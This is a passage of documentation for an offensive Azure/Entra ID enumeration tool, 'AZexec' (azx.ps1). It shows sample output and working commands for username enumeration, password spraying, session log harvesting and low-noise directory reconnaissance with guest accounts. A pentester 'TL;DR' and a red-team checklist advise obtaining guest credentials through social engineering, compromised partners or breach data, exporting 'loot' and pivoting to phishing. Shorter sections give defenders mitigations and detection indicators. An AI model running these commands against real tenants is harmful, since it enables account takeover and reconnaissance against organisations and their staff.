[-] Microsoft Graph : Directory.Read.All (ID: 7ab1d382-f21e-4acd-a863-ba3e13f7da61)
[-] Microsoft Graph : Group.Read.All (ID: 5b567255-7703-4780-807c-7be8301ae99b)
[+] Delegated Permissions (OAuth2):
[-] Microsoft Graph : User.Read Group.Read.All (ConsentType: AllPrincipals)
[-] Office 365 SharePoint Online : AllSites.Read (ConsentType: AllPrincipals)
[+] Owners:
[-] John Doe [user] ([email protected])
AZR f6e5d4c3b2a1 443 Legacy Service Principal [*] (appId:98765432-4321-4321-4321-210987654321) (type:Application) (status:Enabled) (pwdCreds:1) (certCreds:1) (appRoles:0) (delegated:0) (owners:0)
AZR 1234567890ab 443 High-Risk Admin SPN [*] (appId:abcdef12-3456-7890-abcd-ef1234567890) (type:Application) (status:Enabled) (pwdCreds:1) (certCreds:0) (appRoles:5) (delegated:3) (owners:2)
[+] Application Permissions (App Roles):
[-] Microsoft Graph : RoleManagement.ReadWrite.Directory (ID: 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8)
[-] Microsoft Graph : Application.ReadWrite.All (ID: 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9)
[-] Microsoft Graph : Directory.ReadWrite.All (ID: 19dbc75e-c2e2-444c-a770-ec69d8559fc7)
Color Coding:
- Green: Service principals with permissions and proper certificate-based authentication
- Yellow: Password-only credentials (security risk)
- DarkGray: Disabled service principals
- Cyan: Default for other service principals
Security Indicators:
- Password-only credentials (pwdCreds > 0, certCreds = 0): Vulnerable to credential theft
- High-risk permissions: RoleManagement.ReadWrite, Application.ReadWrite, Directory.ReadWrite
- No owners (owners = 0): Orphaned service principals that may be abandoned
- Many permissions (appRoles or delegated > 5): Potential over-privileged service principals
- Cyan: Normal applications with mixed or secure configuration
- Dark Gray: Applications with no credentials
Credential Types:
- Certificate: Uses certificate-based authentication (recommended, most secure)
- Password: Uses password/secret-based authentication (weaker security)
- Both: Has both password and certificate credentials
- None: No credentials configured (may use managed identity or delegated permissions)
Application Types:
- App: Application registration
- SPN: Service Principal
Security Indicators:
publicClient:True= ROPC flow enabled, vulnerable to password spray attackscreds:Password= Password-only authentication, vulnerable to credential theft- Applications with
Passwordcredentials and no certificates are flagged as HIGH risk
Summary Statistics Displayed:
- Total registered applications
- Apps with password credentials
- Apps with certificate credentials
- Public client apps (ROPC-enabled)
- Total service principals
- SPNs with password/certificate credentials
- Enabled service principals
- Managed identities count
- Security warnings for password-only configurations
- Distribution: Distribution lists (mail-enabled)
Summary Statistics:
- Total groups found
- Security groups count
- Mail-enabled groups count
- Microsoft 365 groups count
- Dynamic groups count
AZR <TenantName> 443 [*] Password Policy Information
[+] Password Validity Period: 90 days
[+] Password Notification Window: 14 days
[+] Verified Domains: 2 domain(s)
- contoso.com (Default)
- contoso.onmicrosoft.com (Initial)
[+] Technical Notification Emails: 1
- [email protected]
[*] MFA Registration Campaign:
State: enabled
Snooze Duration: 14 days
[*] Enabled Authentication Methods:
[+] Microsoft Authenticator (Enabled)
[+] SMS (Enabled)
[+] FIDO2 Security Key (Enabled)
[+] Security Defaults: ENABLED
[*] This enforces MFA for administrators and users when needed
[+] Found 5 Conditional Access Policies
[ENABLED] Require MFA for Admins
[+] Requires MFA
Scope: All Applications
[ENABLED] Block Legacy Authentication
Scope: All Applications
[REPORT-ONLY] Require Compliant Device
Scope: All Applications
[*] CA Policy Summary:
Enabled: 3
Report-Only: 1
Disabled: 1
Color Coding:
- Green: Good security posture (Security Defaults enabled, policies enforced, MFA required)
- Yellow: Security considerations (Security Defaults disabled, report-only policies)
- Cyan: Informational (policy details, settings)
- Dark Gray: Technical details (authentication methods, domains)
Information Retrieved:
- Password Policies: Expiration periods, notification windows
- Domain Configuration: Verified domains, default domains
- Authentication Methods: Enabled MFA methods (Authenticator, SMS, FIDO2, etc.)
- Security Defaults: Whether baseline security is enabled
- Conditional Access Policies: Policies enforcing MFA, device compliance, location restrictions
- Technical Contacts: Admin and security notification emails
[*] AZX - Azure/Entra Guest Login Enumeration
[*] Command: Guest Enumeration (Similar to: nxc smb -u 'a' -p '')
[*] Target Domain: targetcorp.com
[*] Method: ROPC Authentication Testing
[*] Phase 1: Checking tenant guest configuration (unauthenticated)...
AZR targetcorp.com 443 [+] Tenant exists
AZR targetcorp.com 443 [*] NameSpaceType: Managed
AZR targetcorp.com 443 [*] Federation: Managed (Cloud-only)
AZR targetcorp.com 443 [+] External/Guest users: Likely ENABLED (B2B)
[*] Phase 2: Testing guest authentication...
AZR targetcorp.com 443 [email protected] [+] Valid credentials - MFA REQUIRED
AZR targetcorp.com 443 [email protected] [-] Invalid credentials
AZR targetcorp.com 443 [email protected] [!] ACCOUNT LOCKED
AZR targetcorp.com 443 [email protected] [!] PASSWORD EXPIRED (valid user)
AZR targetcorp.com 443 [email protected] [+] SUCCESS! Got access token (password)
[*] Authentication Test Summary:
Total Tested: 5
Valid Creds: 3
MFA Required: 1
Accounts Locked: 1
Color Coding:
- Green: Valid credentials (with or without MFA requirement)
- Yellow: Valid user but blocked (MFA required, password expired, account locked)
- Dark Gray: Invalid credentials or user not found
- Red: Check failed (network/API error)
Authentication Result Codes:
[+] SUCCESS! Got access token- Valid credentials, authentication successful[+] Valid credentials - MFA REQUIRED- Credentials are valid but MFA is required (good for password spray)[+] Valid credentials - CONSENT REQUIRED- Credentials valid, app consent needed[!] ACCOUNT LOCKED- Too many failed attempts, account is locked[!] PASSWORD EXPIRED (valid user)- Password expired but user exists[-] Invalid credentials- Wrong username or password[-] User not found- Username does not exist in tenant[-] Account disabled- Account exists but is disabled[!] ROPC disabled- ROPC flow is disabled (try device code flow)
Phase 1 Information (Unauthenticated):
- Tenant Exists: Whether the domain is a valid Azure tenant
- NameSpaceType: Managed (cloud-only) or Federated (on-premises)
- Federation Status: Authentication method (cloud, ADFS, etc.)
- B2B Status: Whether external/guest users are likely accepted
Phase 2 Information (Authentication Testing):
- Per-user authentication test results
- MFA detection (valid creds even if MFA blocks)
- Account lockout detection
- Password expiration detection
[*] AZX - Azure/Entra Active Session Enumeration
[*] Command: Sessions (Similar to: nxc smb --qwinsta)
[*] Querying sign-in logs for last 24 hours...
[+] Authenticated as: [email protected]
[*] ========================================
[*] ACTIVE SIGN-IN SESSIONS
[*] ========================================
[*] Querying Azure AD sign-in logs (this may take a moment)...
[+] Found 47 sign-in events
AZR [email protected] 203.0.113.45 [+] SUCCESS
Time: 2024-12-14 08:23:15
Device: ALICE-LAPTOP (Windows 11)
App: Microsoft Teams
Location: Seattle, United States
MFA: Required
AZR [email protected] 198.51.100.12 [+] SUCCESS
Time: 2024-12-14 08:15:42
Device: BOB-DESKTOP (Windows 10)
App: Office 365 Exchange Online
Location: New York, United States
AZR [email protected] 192.0.2.100 [!] FAILED
Time: 2024-12-14 07:58:30
Device: Unknown Device (Linux)
App: Azure Portal
Location: Moscow, Russia
Risk: HIGH
Error: Invalid username or password
AZR [email protected] 203.0.113.45 [+] SUCCESS
Time: 2024-12-14 07:45:12
Device: ALICE-LAPTOP (Windows 11)
App: SharePoint Online
Location: Seattle, United States
MFA: Required
[*] ========================================
[*] SESSION SUMMARY
[*] ========================================
AZR Total Sign-ins: 47
AZR Unique Users: 15
AZR Successful: 42
AZR Failed: 5
AZR MFA Protected: 38
AZR Risky Sign-ins: 2
[*] Top Active Users:
[email protected]: 8 sign-ins
[email protected]: 6 sign-ins
[email protected]: 4 sign-ins
[email protected]: 3 sign-ins
[email protected]: 3 sign-ins
[*] Top Applications:
Microsoft Teams: 12 sign-ins
Office 365 Exchange Online: 10 sign-ins
SharePoint Online: 8 sign-ins
Azure Portal: 5 sign-ins
Microsoft Graph: 4 sign-ins
[*] Session enumeration complete!
Key Information Displayed:
- Timestamp: Local time when sign-in occurred
- User: UserPrincipalName (email/username)
- Status: SUCCESS (green) or FAILED (red)
- IP Address: Source IP of the connection
- Device: Device name and operating system
- Application: Which app/service was accessed
- Location: Geographic location (city, country)
- MFA Status: Whether MFA was required
- Risk Level: HIGH/MEDIUM/LOW (if Identity Protection detects risk)
- Error Details: Failure reason for unsuccessful sign-ins
Summary Statistics:
- Total sign-in events found
- Number of unique users
- Success vs failure counts
- MFA-protected session count
- Risky sign-in count
- Top 5 most active users
- Top 5 most accessed applications
[*] AZX - Vulnerable Target Enumeration
[*] Command: Vuln-List (Azure Relay Target Equivalent)
[*] Similar to: nxc smb 192.168.1.0/24 --gen-relay-list
[*] PHASE 1: Unauthenticated Enumeration
[*] ========================================
[+] Using auto-detected domain: targetcorp.com
[*] Checking tenant configuration for: targetcorp.com
[+] Tenant ID: 12345678-1234-1234-1234-123456789abc
[!] IMPLICIT FLOW ENABLED - Token theft risk
[*] Testing guest/external authentication...
[!] ROPC ENABLED - Password spray/brute force possible
[*] Checking legacy authentication endpoints...
[*] Exchange ActiveSync endpoint accessible
[*] Autodiscover endpoint accessible (requires auth)
[*] PHASE 2: Authenticated Enumeration
[*] ========================================
[+] Using existing Graph connection: [email protected]
[*] Enumerating Service Principals with password credentials...
(Like SMB hosts without signing - weaker authentication)
[!] Legacy App Service
AppId: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
[!] API Integration [EXPIRING SOON]
AppId: 11111111-2222-3333-4444-555555555555
[*] Total password-only service principals: 12
[*] Enumerating applications with public client flows enabled...
(Allows ROPC - direct username/password authentication)
[!] Mobile App [MEDIUM]
AppId: 99999999-8888-7777-6666-555555555555 | Audience: AzureADMultipleOrgs
[!] Desktop Client [HIGH]
AppId: 00000000-1111-2222-3333-444444444444 | Audience: AzureADMyOrg
[*] Total public client applications: 5
[*] Checking Security Defaults and Conditional Access...
[!] SECURITY DEFAULTS DISABLED
Check if Conditional Access provides equivalent protection
[!] LEGACY AUTH NOT BLOCKED - MFA bypass possible
[*] Found 8 Conditional Access policies
[*] Enumerating guest users...
(External users = potential 'null session' equivalent)
[*] Total guest users: 47
[*] Active guests (90 days): 23
[!] Stale guests (no activity 90+ days): 24
[*] Checking for applications with dangerous API permissions...
[!] Third-Party Sync App
Permissions: Mail.ReadWrite, Mail.Send
[!] Backup Solution
Permissions: Files.ReadWrite.All, Sites.ReadWrite.All
[*] Total apps with dangerous permissions: 3
[*] Checking guest user permission level...
(Determines what guests can enumerate - the 'null session' equivalent)
[!] CRITICAL: Guest access = SAME AS MEMBER USERS
Guests can enumerate entire directory (null session equivalent)
[!] Guest invites: ANYONE can invite (including guests)
[*] Checking for users without MFA methods registered...
(Users vulnerable to credential stuffing/phishing)
[!] Users WITHOUT MFA: 23
- John Smith
- Jane Doe [ADMIN]
- Bob Wilson
- Alice Johnson
- Test Account
... and 18 more
[!] CRITICAL: 2 ADMIN(S) without MFA!
[*] Total checked: 150 | With MFA: 127 | Without: 23
[*] ========================================
[*] VULNERABILITY SUMMARY
[*] ========================================
AZR targetcorp.com 443 [*] Vuln-List Results
[!] HIGH RISK findings: 12
[!] MEDIUM RISK findings: 10
[*] Total findings: 22
[+] Full results exported to: vuln_report.json
[*] RECOMMENDATIONS:
[!] Address HIGH risk findings immediately:
- Replace password credentials with certificates for service principals
- Block legacy authentication via Conditional Access
- Review and minimize dangerous API permissions
- Restrict guest user permissions to "Most restricted"
- Enforce MFA registration for all users (especially admins!)
[*] Review MEDIUM risk findings:
- Audit public client applications
- Clean up stale guest accounts
- Enable Security Defaults or equivalent CA policies
- Restrict guest invite permissions
[*] Vuln-list enumeration complete!
Color Coding:
- Red: HIGH risk findings (immediate action required)
- Yellow: MEDIUM risk findings (should be reviewed)
- Green: Passed checks or good security posture
- Dark Gray: Informational findings
Phase 1 (Unauthenticated) Checks:
- Tenant configuration (implicit flow, ROPC status)
- Legacy authentication endpoint accessibility
- Guest/external authentication acceptance
Phase 2 (Authenticated) Checks:
- Service principals with password-only credentials (no certificate auth)
- Applications with public client flows (ROPC vulnerable)
- Security Defaults and Conditional Access gaps
- Legacy authentication blocking policies
- Guest user enumeration and stale accounts
- Dangerous OAuth permission grants
- Guest permission level (null session vulnerability)
- Users without MFA registered (credential attack targets)
- Guest invite policy configuration
Export Formats:
.txt- Simple relay-list style (HIGH risk only):Type,Target,Vulnerability.json- Full findings with all metadata.csv- Spreadsheet-friendly format
When running .\azx.ps1 tenant, the tool performs security-focused enumeration similar to nxc smb --enum and may identify the following:
- What: Publicly accessible application/client IDs in the tenant configuration
- Risk: These IDs can be used to craft targeted phishing attacks or test for misconfigured application permissions
- Severity: Low to Medium (depends on application configuration)
- What: OAuth redirect URIs that are publicly visible
- Risk: Can reveal internal application URLs, development endpoints, or misconfigured redirect targets
- Severity: Medium (may expose internal infrastructure or enable redirect attacks)
- What: The OAuth implicit flow is supported (returns tokens in URL fragments)
- Risk: Tokens in URLs can be logged, leaked via referrer headers, or stolen via XSS
- Recommendation: Modern applications should use Authorization Code flow with PKCE
- Severity: Medium (security consideration for modern apps)
Password Grant (Resource Owner Password Credentials):
- What: Allows applications to collect user passwords directly
- Risk: Defeats MFA, password policies, and creates credential theft opportunities
- Recommendation: Should only be used for legacy systems during migration
- Severity: High
Client Credentials Grant:
- What: Application-only authentication without user context
- Risk: If client secret is compromised, attackers gain application-level access
- Recommendation: Use certificate-based authentication and rotate secrets regularly
- Severity: Medium (requires proper secret management)
- What: Publicly accessible federation configuration XML
- Risk: Reveals federation partners, entity IDs, and authentication endpoints
- Severity: Low (informational for reconnaissance)
π΄ High Priority:
- Password grant type enabled
- Redirect URIs pointing to non-HTTPS endpoints
- Wildcard redirect URIs (e.g.,
https://*.example.com/*)
π‘ Medium Priority:
- Implicit flow enabled for new applications
- Client credentials without proper rotation
- Exposed internal application URLs
π’ Low Priority / Informational:
- Federation metadata available (expected for federated tenants)
- Standard OpenID configuration exposure (normal)
- Common grant types like authorization_code
β οΈ CRITICAL SECURITY FINDING: This is one of the most underestimated attack vectors in Azure/Entra ID. Most organizations are vulnerable and don't even know it.
Critical Security Finding: Guest users in Azure/Entra ID represent the modern equivalent of SMB null sessions - a low-privileged account that can often enumerate significant directory information due to misconfigured default permissions.
TL;DR for Pentesters:
- Get invited as a guest (or compromise a vendor/partner account)
- Run
.\azx.ps1 hostswith guest credentials - Enumerate entire directory with minimal detection
- Profit π°
In classic on-premises Active Directory penetration testing, attackers would use null session (anonymous) connections to enumerate users, groups, and shares via SMB. In Azure/Entra ID, guest accounts serve a similar purpose:
Traditional Attack: Modern Azure Equivalent:
βββββββββββββββββββ ββββββββββββββββββββββββ
β SMB Null β β Guest User Account β
β Session β βββ> β (External B2B) β
β (Anonymous) β β β
βββββββββββββββββββ ββββββββββββββββββββββββ
β β
Enumerate: Enumerate:
- Users - Users
- Groups - Groups
- Shares - Devices
- Computers - Applications
- Service Principals
| Access Level | Authentication Required | Enumeration Capabilities | Detection Risk | Use Case |
|---|---|---|---|---|
| No Authentication | β None | Tenant config, username validation, federation metadata | π’ None | Initial reconnaissance |
| Guest User | β Guest credentials | Users, groups, devices, some apps (if not restricted) | π‘ Low | "Null session" - Primary enumeration method |
| Member User | β Member credentials | Full directory, all devices, groups, apps, policies | π΄ High | Post-compromise enumeration |
| Global Admin | β Admin credentials | Everything including security settings, CA policies | π΄ Critical | Full tenant control |
Key Takeaway: Guest user access provides 80% of the information with 20% of the risk - making it the optimal reconnaissance method.
Default Azure/Entra ID Guest Permissions: When external collaboration is enabled (which it is in most organizations), guest users receive the following default permissions:
- User.Read.All - Read all users' basic profiles
- Group.Read.All - Read all group information
- Device.Read.All - Read all device information (often enabled)
- Directory.Read.All - Read directory data (depending on configuration)
The Problem:
- Most organizations enable external collaboration for business needs (partners, vendors, contractors)
- Default guest permissions are often NOT restricted
- Organizations don't realize guests can enumerate the entire directory
- Guest access generates minimal logs and alerts compared to compromised member accounts
- This is a low-noise reconnaissance technique perfect for initial access scenarios
# Enumerate from outside (no authentication required)
.\azx.ps1 tenant -Domain target.com
# Look for:
# - External collaboration enabled
# - B2B integration settings
# - Guest user access restrictionsCommon methods to obtain guest credentials:
- Social Engineering: Request access as a "vendor" or "partner"
- Compromised Partner: Use credentials from a compromised partner organization
- Open Registrations: Some orgs have self-service guest registration
- Leaked Credentials: Guest accounts in breach databases
- Business Email: Create legitimate business relationship requiring collaboration
Once you have guest credentials (e.g., [email protected]):
# Connect as guest user
Connect-MgGraph -Scopes "User.Read.All","Group.Read.All","Device.Read.All"
# (Login with guest credentials when prompted)
# Enumerate all users in the target tenant
.\azx.ps1 hosts -Scopes "User.Read.All,Device.Read.All"
# Check what you can access with the new commands
.\azx.ps1 hosts
.\azx.ps1 groups
.\azx.ps1 pass-pol
# Or use Graph API directly
Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, JobTitle, Department
Get-MgGroup -All | Select-Object DisplayName, Description
Get-MgDevice -All | Select-Object DisplayName, OperatingSystem# 1. Initial reconnaissance (no auth)
.\azx.ps1 tenant -Domain targetcorp.com -ExportPath tenant-info.json
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv
# 2. Obtain guest access (assume you now have guest credentials)
# Login as: [email protected]
# 3. Enumerate as guest (low-noise reconnaissance)
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 pass-pol -ExportPath policy.json
# Result: Complete tenant inventory without triggering high-severity alertsWith default guest permissions, you can often access:
β Users
- Display names, email addresses, job titles
- Department and office location
- Manager relationships
- Photos and profile information
β
Groups (use .\azx.ps1 groups)
- Group names and descriptions
- Group membership (often)
- Distribution lists
- Microsoft Teams teams
- Security groups and mail-enabled groups
- Group types and creation dates
β
Devices (use .\azx.ps1 hosts)
- Device names and IDs
- Operating systems and versions
- Compliance status
- Trust type (Azure AD joined, Hybrid)
- Last sign-in times
- Device owners (with
-ShowOwnersflag)
β Applications
- Registered applications
- Service principals
- OAuth permissions granted
- Redirect URIs
π‘ Password Policies (use .\azx.ps1 pass-pol - limited for guests)
- Password expiration settings (often visible)
- Domain configuration (often visible)
- Authentication methods (may be visible)
- Security Defaults status (often restricted)
- Conditional Access Policies (usually restricted)
β What's Usually Restricted for Guests:
- Conditional access policies (admin/member only)
- Full security defaults settings
- Most privileged role assignments
- Certain sensitive user attributes
- Detailed policy configurations
- Security posture details
Organizations should immediately review and restrict guest user permissions:
# Check current guest settings
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty GuestUserRoleId- Navigate to: Azure Portal β Entra ID β Users β User settings β External users
- Set: "Guest user access restrictions" to "Guest users have limited access to properties and memberships of directory objects" (most restrictive)
- Enable guest user sign-in logs
- Alert on guest users accessing Microsoft Graph API
- Review guest users regularly and remove unused accounts
- Require MFA for all guest users
- Restrict guest access to specific applications
- Block guest access from untrusted locations
# List all guest users
Get-MgUser -Filter "userType eq 'Guest'" | Select-Object DisplayName, UserPrincipalName, CreatedDateTime
# Check guest permissions
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'guest-user-id'"Log Sources to Monitor:
- Azure AD Sign-in Logs: Guest user authentication events
- Audit Logs: Guest user enumeration via Microsoft Graph
- Microsoft Graph API Logs: High volume of read requests from guest users
Suspicious Indicators:
- Guest user enumerating large numbers of users/devices/groups
- Guest user accessing Microsoft Graph API outside business hours
- Guest user with newly created account performing enumeration
- Multiple failed Graph API calls followed by successful enumeration
π΄ High Impact:
- Complete directory enumeration with minimal privileges
- Low detection rate compared to compromised member accounts
- Perfect for initial reconnaissance in red team operations
- Can identify high-value targets for further attacks
π‘ Common Misconfiguration:
- Default settings favor collaboration over security
- Most organizations are unaware of guest enumeration capabilities
- Rarely monitored or audited
π Mitigation Priority:
- Immediate: Review and restrict guest permissions
- Short-term: Implement monitoring for guest activity
- Long-term: Regular audits and least-privilege access model
For Defenders - Check if Your Org is Vulnerable:
# 1. Check external collaboration settings
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty GuestUserRoleId
# 2. List all guest users
Get-MgUser -Filter "userType eq 'Guest'" | Measure-Object
# 3. Test what guests can see (safe - read-only)
# Login as a test guest account and run:
Get-MgUser -Top 10 # If this works, you're vulnerable
Get-MgDevice -Top 10 # If this works, you're VERY vulnerableGuest User Role IDs:
a0b1b346-4d3e-4e8b-98f8-753987be4970= VULNERABLE (Guest users have the same access as member users)10dae51f-b6af-4016-8d66-8c2a99b929b3= LIMITED (Guests have limited access - still allows some enumeration)2af84b1e-32c8-42b7-82bc-daa82404023b= RESTRICTED (Most restrictive - recommended)
For Red Teamers - Quick Win Checklist:
- Obtain guest credentials (social engineering, compromised partner, etc.)
- Run
.\azx.ps1 hostswith guest creds - If successful, run with
-ShowOwners -ExportPath loot.json - Enumerate users:
Get-MgUser -All - Enumerate groups:
Get-MgGroup -All - Identify high-value targets (admins, executives)
- Pivot to targeted phishing or credential attacks
The users command uses the public GetCredentialType API endpoint and does not require authentication. This makes it perfect for:
- Initial reconnaissance and user discovery
- Validating email addresses before phishing campaigns (for authorized red team operations)
- User enumeration during penetration tests
- Identifying valid usernames for password spraying attacks (authorized only)
How it Works:
The tool queries https://login.microsoftonline.com/common/GetCredentialType which is a public endpoint used by Microsoft login pages to determine the authentication method for a username. The API returns:
IfExistsResult: 0- User exists (Managed/Cloud authentication)IfExistsResult: 1- User does not existIfExistsResult: 5- User exists (Alternate authentication)IfExistsResult: 6- User exists (Federated authentication)
Domain Auto-Detection:
If you don't specify a domain with -Domain, the tool will automatically attempt to detect your current user's domain from:
- User Principal Name (UPN) via
whoami /upn(Windows) - Environment variable
USERDNSDOMAIN - Current user's Windows identity
This allows you to quickly run .\azx.ps1 users -CommonUsernames without specifying a domain.
Input Methods:
- Single Username: Check one specific username
- File Input: Read usernames from a text file (one per line, comments starting with # are ignored)
- Common Usernames: Use built-in list of common usernames (admin, administrator, support, helpdesk, etc.)
Enhanced Features (v2.0):
- Progress Tracking: Real-time progress bar for large lists (>10 users) with ETA
- Retry Logic: Automatic retries with exponential backoff (100ms β 200ms β 400ms)
- Adaptive Rate Limiting: Smart delays based on list size
- Small (<50 users): 50ms delay - fast enumeration
- Medium (50-200 users): 100ms delay - balanced approach
- Large (>200 users): 150ms delay - stealth-focused
- Detailed Statistics: Duration tracking, rate calculation (checks/sec), auth type breakdown
- Error Tracking: Separates network failures from invalid usernames
- Next Steps Guidance: Automatic commands for Phase 2 password spraying
Performance:
- Small lists: ~1-2 seconds per user
- Large lists: ~3-4 seconds per user
- Example: 500 usernames β 100 seconds (~5 users/sec)
The tenant command uses public OpenID configuration endpoints and does not require authentication. This makes it perfect for reconnaissance and initial discovery.
Enhanced Enumeration: The tool now performs comprehensive tenant reconnaissance similar to nxc smb --enum, including:
- OpenID Configuration Analysis: Queries both tenant-specific and common v2.0 OpenID endpoints
- Exposed Application Discovery: Identifies publicly accessible application IDs and client configurations
- Redirect URI Enumeration: Detects exposed redirect URIs that may indicate misconfigured applications
- OAuth Misconfiguration Detection: Flags potential security risks including:
- Implicit flow configurations (security consideration for modern applications)
- Risky grant types (password, client_credentials)
- Publicly accessible federation metadata
- Federation Metadata: For federated tenants, attempts to retrieve and parse federation metadata XML
- Endpoint Probing: Checks for accessible Microsoft Graph and Azure Management endpoints
What Gets Enumerated:
- Standard OpenID Configuration: Tenant ID, issuer, authorization/token endpoints, JWKS URI
- Security Posture: Response types, grant types, supported scopes and claims
- Application Exposure: App IDs, redirect URIs, and client configurations that are publicly accessible
- Federation Details: Entity IDs and federation endpoints for federated authentication
- Misconfigurations: Potentially risky OAuth/OIDC configurations that may indicate security weaknesses
Auto-Detection Feature: If you don't specify a domain, the tool will automatically attempt to detect your current user's domain from:
- User Principal Name (UPN) via
whoami /upn(Windows) - Environment variable
USERDNSDOMAIN - Current user's Windows identity
This allows you to quickly run .\azx.ps1 tenant without specifying a domain.
On first run of the hosts command, the script will:
- Check for the Microsoft.Graph module (install if missing)
- Prompt for Microsoft Graph authentication
- Request necessary permissions (Device.Read.All by default)
- Cache credentials for subsequent runs
Using Guest Credentials for Low-Noise Enumeration:
# Method 1: Interactive guest login
Disconnect-MgGraph
.\azx.ps1 hosts
# (Enter guest credentials when prompted: [email protected])
# Method 2: Explicitly specify scopes
.\azx.ps1 hosts -Scopes "User.Read.All,Group.Read.All,Device.Read.All"
# Method 3: Use guest credentials with additional enumeration
Connect-MgGraph -Scopes "User.Read.All","Device.Read.All"
.\azx.ps1 hosts -ShowOwners -ExportPath guest-enum.jsonTo switch accounts or tenants:
Disconnect-MgGraph
.\azx.ps1 hosts.\azx.ps1 users -Domain example.com -CommonUsernames -ExportPath users.csvIncludes: Username, Exists (True/False), IfExistsResult (numeric code), AuthType (Managed/Federated/Alternate), ThrottleStatus
.\azx.ps1 users -Domain example.com -UserFile users.txt -ExportPath results.jsonStructured JSON with all response details including throttle status and full API response data
.\azx.ps1 user-profiles -ExportPath users.csvIncludes: UserId, DisplayName, UserPrincipalName, Mail, JobTitle, Department, OfficeLocation, UserType, AccountEnabled, LastSignInDateTime
.\azx.ps1 user-profiles -ExportPath users.jsonStructured JSON with all user profile properties including sign-in activity
.\azx.ps1 tenant -Domain example.com -ExportPath tenant.jsonIncludes: Domain, TenantId, Issuer, all endpoints, federation status, supported response types, scopes, claims, exposed applications, redirect URIs, potential misconfigurations, and full OpenID configuration
.\azx.ps1 tenant -Domain example.com -ExportPath tenant.csvIncludes: Domain, TenantId, Issuer, endpoints, and federation status (simplified view - JSON recommended for full security findings)
.\azx.ps1 hosts -ExportPath output.csvIncludes: DeviceId, DisplayName, OperatingSystem, OperatingSystemVersion, TrustType, IsCompliant, AccountEnabled, ApproximateLastSignInDateTime, RegisteredOwners
.\azx.ps1 hosts -ExportPath output.jsonStructured JSON with all device properties
.\azx.ps1 groups -ExportPath groups.csvIncludes: GroupId, DisplayName, Description, GroupTypes, SecurityEnabled, MailEnabled, Mail, MailNickname, CreatedDateTime, MemberCount
.\azx.ps1 groups -ExportPath groups.jsonStructured JSON with all group properties and detailed information
.\azx.ps1 pass-pol -ExportPath policy.jsonIncludes: TenantId, TenantDisplayName, PasswordPolicies (ValidityPeriodDays, NotificationWindowDays), SecurityDefaults (enabled/disabled), ConditionalAccessPolicies (full list), AuthenticationMethods (enabled methods)
.\azx.ps1 apps -ExportPath apps.csvIncludes: Type (Application/ServicePrincipal), ObjectId, AppId, DisplayName, SignInAudience, IsFallbackPublicClient, PasswordCredentials (count), KeyCredentials (count), CreatedDateTime, PublicClientRedirectUris, WebRedirectUris
.\azx.ps1 apps -ExportPath apps.jsonStructured JSON with all application and service principal properties including:
- Full credential information (counts and types)
- Redirect URIs (both web and public client)
- Service principal type and enabled status
- Tags and additional metadata
Use Cases:
- Security audits: Identify password-only credentials
- Compliance: Track application registrations and their authentication methods
- Vulnerability assessment: Find ROPC-enabled applications (publicClient = True)
- Credential management: Track expiring credentials (combine with vuln-list command)
.\azx.ps1 pass-pol -ExportPath policy.csvIncludes: TenantId, TenantDisplayName, PasswordValidityDays, PasswordNotificationDays, SecurityDefaultsEnabled, ConditionalAccessPolicyCount (flattened structure)
.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Pass123' -ExportPath spray.jsonIncludes: Domain, TenantConfig (NameSpaceType, FederationType, AcceptsExternalUsers), AuthResults (per-user results with Success, MFARequired, ErrorCode), Summary (counts)
.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Pass123' -ExportPath spray.csvIncludes: Username, Password, Success, MFARequired, ConsentRequired, ErrorCode, HasToken (one row per tested credential)
AZexec now supports comprehensive HTML report generation with a netexec-inspired dark theme. HTML reports provide a professional, shareable format perfect for documentation, presentations, and security assessments.
- π¨ NetExec-Style Dark Theme: Hacker-inspired green-on-black aesthetic
- π Interactive Statistics: Key metrics and summaries at a glance
- π΄ Risk Highlighting: Automatic color-coding for high/medium/low risk items
- π± Responsive Design: Works on any device or screen size
- π¨οΈ Print-Friendly: Optimized for PDF generation and printing
- π Complete Data Tables: All enumeration results in sortable, filterable tables
Simply change the file extension from .csv or .json to .html:
# Device enumeration HTML report
.\azx.ps1 hosts -ExportPath devices.html
# User profiles HTML report
.\azx.ps1 user-profiles -ExportPath users.html
# Service principal discovery HTML report
.\azx.ps1 sp-discovery -ExportPath service-principals.html
# Role assignments HTML report
.\azx.ps1 roles -ExportPath role-assignments.html
# Active sessions HTML report
.\azx.ps1 sessions -ExportPath sessions.html
# Password policy HTML report
.\azx.ps1 pass-pol -ExportPath policies.html
# Group enumeration HTML report
.\azx.ps1 groups -ExportPath groups.html
# Username enumeration HTML report
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.html
# Application enumeration HTML report
.\azx.ps1 apps -ExportPath applications.htmlEach HTML report includes:
-
Header Section
- Report title with AZexec branding
- Command executed
- Generation timestamp
- Total record count
-
Statistics Dashboard
- Key metrics displayed as cards
- Risk-based color coding (red/yellow/green)
- Command-specific statistics
- Visual indicators for high-risk findings
-
Description Section
- Command purpose and context
- What the report contains
- Key security considerations
-
Data Table
- Complete enumeration results
- Color-coded cells for risk levels
- Boolean values displayed as badges
- Sortable columns (when viewed in browser)
- Responsive design for mobile/tablet
-
Footer
- AZexec attribution
- GitHub repository link
- EvilMist toolkit branding
Generate professional reports for client deliverables:
# Comprehensive privileged access review
.\azx.ps1 roles -ExportPath "2025-01-ClientName-PrivilegedAccess-Review.html"
.\azx.ps1 sp-discovery -ExportPath "2025-01-ClientName-ServicePrincipals.html"
.\azx.ps1 ca-policies -ExportPath "2025-01-ClientName-ConditionalAccess.html"Document enumeration findings in a shareable format:
# Phase 1: External reconnaissance
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath "Phase1-ValidUsers.html"
# Phase 2: Post-authentication enumeration
.\azx.ps1 hosts -ExportPath "Phase2-Devices.html"
.\azx.ps1 groups -ExportPath "Phase2-Groups.html"
